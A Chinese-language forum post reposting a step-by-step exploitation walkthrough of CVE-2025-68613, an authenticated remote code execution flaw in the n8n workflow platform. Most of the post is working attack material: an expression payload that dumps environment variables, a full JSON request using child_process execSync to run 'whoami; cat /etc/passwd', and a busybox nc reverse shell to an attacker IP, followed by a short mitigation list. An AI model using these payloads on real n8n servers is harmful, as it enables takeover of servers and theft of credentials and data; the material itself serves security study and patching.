找回密码
立即注册
搜索
热搜: Java Python Linux Go
发回帖 发新帖

3409

积分

0

好友

464

主题
发表于 2026-2-12 07:13:43 | 查看: 32| 回复: 0

本文章仅用于网络安全研究学习,请勿使用相关技术进行违法犯罪活动。

CVE-2025-68613 是一个影响开源工作流自动化平台 n8n 的高危漏洞。该漏洞允许拥有有效身份验证的已认证用户,通过精心构造的工作流,在运行 n8n 的服务器上执行远程代码

n8n 平台简介

n8n 是一个基于节点的开源工作流自动化工具,旨在连接各类应用程序、服务和 API。用户可以通过拖拽节点来设计和执行自动化任务,例如数据同步、API 调用、通知发送或系统操作。因其灵活性和强大的集成能力,n8n 常被部署在需要处理敏感数据或进行关键业务集成的环境中。

漏洞成因与危害

此漏洞的根本原因在于 n8n 平台对于工作流执行能力的安全边界定义模糊。平台默认假设已认证用户创建的工作流是可信的,未对工作流中可执行的代码或命令进行严格的沙箱隔离或权限审查。

漏洞影响

  • 任意命令执行:攻击者可在服务器上运行任意系统命令。
  • 数据泄露:可访问 n8n 运行时环境变量、配置文件、数据库凭据以及服务器上的其他敏感文件。
  • 权限维持:通过建立反向 shell,攻击者能获得对服务器的持久控制。
  • 横向移动:利用被攻陷的 n8n 实例作为跳板,攻击内网其他服务。

漏洞复现环境搭建

为了演示漏洞原理,首先需要在隔离环境中部署存在漏洞的 n8n 版本。

1. 拉取并运行存在漏洞的 n8n 容器镜像
使用以下 Docker 命令拉取并启动 n8n 1.121.0 版本。这里通过环境变量 N8N_SECURE_COOKIE=false 禁用安全 Cookie 以简化演示。

docker run --rm -e N8N_SECURE_COOKIE=false -d -p 5678:5678 n8nio/n8n:1.121.0

2. 访问 Web 界面并完成初始化
容器启动后,在浏览器中访问 http://<your-n8n-webui-ipaddress>:5678/

首先会出现“设置所有者账户”的表单,需要填写邮箱、名字、姓氏和密码等信息,例如:

  • 邮箱:noreply@lab.local
  • 名字:ubuntu
  • 姓氏:lab
  • 密码:需满足复杂度要求(8位以上,包含数字和大写字母)

提交后,会进入“个性化设置”页面,需要回答几个关于公司类型、角色、自动化目标等问题,例如选择“Software as a service”、“IT”、“Monitoring and alerting”等选项。完成所有步骤后,点击“Get started”即可进入 n8n 主界面。

漏洞利用步骤详解

漏洞利用的核心在于创建一个包含恶意表达式的工作流,并触发其执行。整个流程涉及 Node.js 环境的沙箱逃逸。

1. 创建新的工作流
在 n8n 主界面,点击红色的“+”按钮,在下拉菜单中选择“Workflow”。进入工作流编辑器后,点击“Add first step...”。

2. 添加并配置“Set”节点
在步骤搜索框中输入“set”,然后选择“Edit Fields (Set)”节点。这个节点通常用于修改、添加或删除数据项中的字段。

在节点的“Parameters”配置选项卡中,将“Mode”设置为“Manual Mapping”。点击“Add Field”按钮,为新增的字段(例如命名为“Injection 1”)将输入模式从默认的“Fixed value”切换为“Expression”。

3. 注入测试载荷
在表达式编辑框中,我们可以插入一个测试用的 JavaScript 代码,用于验证代码执行能力。例如,读取当前进程的环境变量:

{{ (function(){return this.process.env;})() }}

点击“Execute step”按钮,可以在右侧的“OUTPUT”面板中看到返回的环境变量键值对,这初步证明了表达式中的代码能够在服务端执行。

4. 拦截并分析工作流执行请求
为了更精确地控制攻击载荷,我们需要使用代理工具(如 Burp Suite)拦截浏览器与 n8n 后端 API 的通信。
当通过界面触发工作流执行时,Burp Suite 会捕获到关键的 HTTP 请求。

  • 执行触发请求 (POST):这是一个发送到 /api/v1/workflows/{workflow_id}/run 端点的请求,其请求体包含了工作流节点的详细配置参数,其中就有我们输入的表达式。
  • 结果获取请求 (GET):这是一个发送到 /api/v1/executions/{execution_id} 端点的请求,用于获取上一步触发执行后产生的结果。

将这两个请求发送到 Burp Suite 的 Repeater 模块,以便进行手动修改和测试。

5. 构造命令执行载荷
在 Repeater 中修改 POST 请求的 JSON 请求体。定位到 parameters.assignments 数组下 value 字段对应的表达式。将其替换为能够执行系统命令的 JavaScript 代码。

以下载荷通过 child_process 模块的 execSync 函数同步执行系统命令 whoami; cat /etc/passwd 并返回结果:

{
  "parameters": {
    "assignments": [
      {
        "id": "2267ab6f-79cf-48c5-81e1-404c237d19fb",
        "name": "Injection 1",
        "value": "{{ (function(){var req = this.process.mainModule.require;var execSync = req('child_process').execSync;return execSync('whoami; cat /etc/passwd').toString();})() }}",
        "type": "string"
      }
    ],
    "options": {
      "type": "n8n-nodes-base.set",
      "typeVersion": 3.4,
      "position": [208, 0],
      "id": "9107391e-3f00-44c6-946d-d66a5f8abcc0",
      "name": "Edit Fields"
    }
  }
}

发送修改后的 POST 请求,服务器会返回一个 JSON 响应,其中包含本次执行的 executionId(例如 {"data": {"executionId": "10"}})。

6. 获取命令执行结果
切换到之前捕获的 GET 请求,将 URL 中的 {execution_id} 替换为上一步获得的 executionId(例如 10)。发送此 GET 请求,响应体中就会包含命令 whoami; cat /etc/passwd 的执行结果,例如当前用户为 node,并列出 /etc/passwd 文件的内容。

7. 建立反向 Shell 获取完整控制
为了获得交互式控制权,攻击者通常会尝试建立反向 Shell。

首先,在攻击者机器上使用 netcat 监听一个端口(例如 31337):

nc -lvnp 31337

由于官方的 n8n Docker 镜像基于 Alpine Linux,系统内默认没有 bash,但通常包含 busybox。因此,修改 POST 请求中的载荷,使用 busybox nc 建立反向连接:

"value": "{{ (function(){var req = this.process.mainModule.require; var exec = req('child_process').exec; return exec('busybox nc 10.0.2.6 31337 -e /bin/sh');})() }}",

(请将 10.0.2.631337 替换为攻击者的实际 IP 和端口。)

发送此请求后,观察攻击机上的 netcat 监听器,会收到来自目标 n8n 服务器的连接。连接成功后,即可在 Shell 中执行命令,验证漏洞利用成功:

pwd
# /home/node
ls -la .n8n/
# 查看 n8n 配置文件和数据目录
cat /etc/passwd
# 查看系统用户列表

至此,攻击者已完全控制了运行 n8n 服务的容器环境。

漏洞影响范围与缓解措施

此漏洞影响能够创建或编辑工作流的任何已认证 n8n 用户。在企业多租户场景或内部共享的 n8n 实例中,风险尤为突出。

缓解与修复建议

  1. 立即升级:将 n8n 升级至已修复该漏洞的最新版本。请关注官方安全公告获取确切版本号。
  2. 最小权限原则:严格控制 n8n 平台的用户账号发放,仅授予必要人员编辑工作流的权限。
  3. 网络隔离:将 n8n 实例部署在隔离的网络环境中,限制其对外部及内部敏感系统的访问能力。
  4. 加强监控:对 n8n 的工作流执行日志进行审计,监控异常的命令执行或数据访问模式。
  5. 安全评估:对于在用的工作流进行安全/渗透/逆向审查,排查是否存在可疑的表达式或外部节点调用。

参考资料

[1] 0128.CVE-2025-68613 — n8n 工作流自动化平台中的已认证远程代码执行 (RCE) 漏洞, 微信公众号:mp.weixin.qq.com/s/jeGUP4XOg6ROx_tnGz9Ikg

版权声明:本文由 云栈社区 整理发布,版权归原作者所有。




上一篇:单台昇腾服务器即可运行,星火X2大模型推理性能提升50%
下一篇:50米洗车该走该开?实测GPT/DeepSeek等五大AI模型,聊聊Agent编程的未来
您需要登录后才可以回帖 登录 | 立即注册

手机版|小黑屋|网站地图|云栈社区 ( 苏ICP备2022046150号-2 )

GMT+8, 2026-2-23 14:23 , Processed in 0.696275 second(s), 40 queries , Gzip On.

Powered by Discuz! X3.5

© 2025-2026 云栈社区.

快速回复 返回顶部 返回列表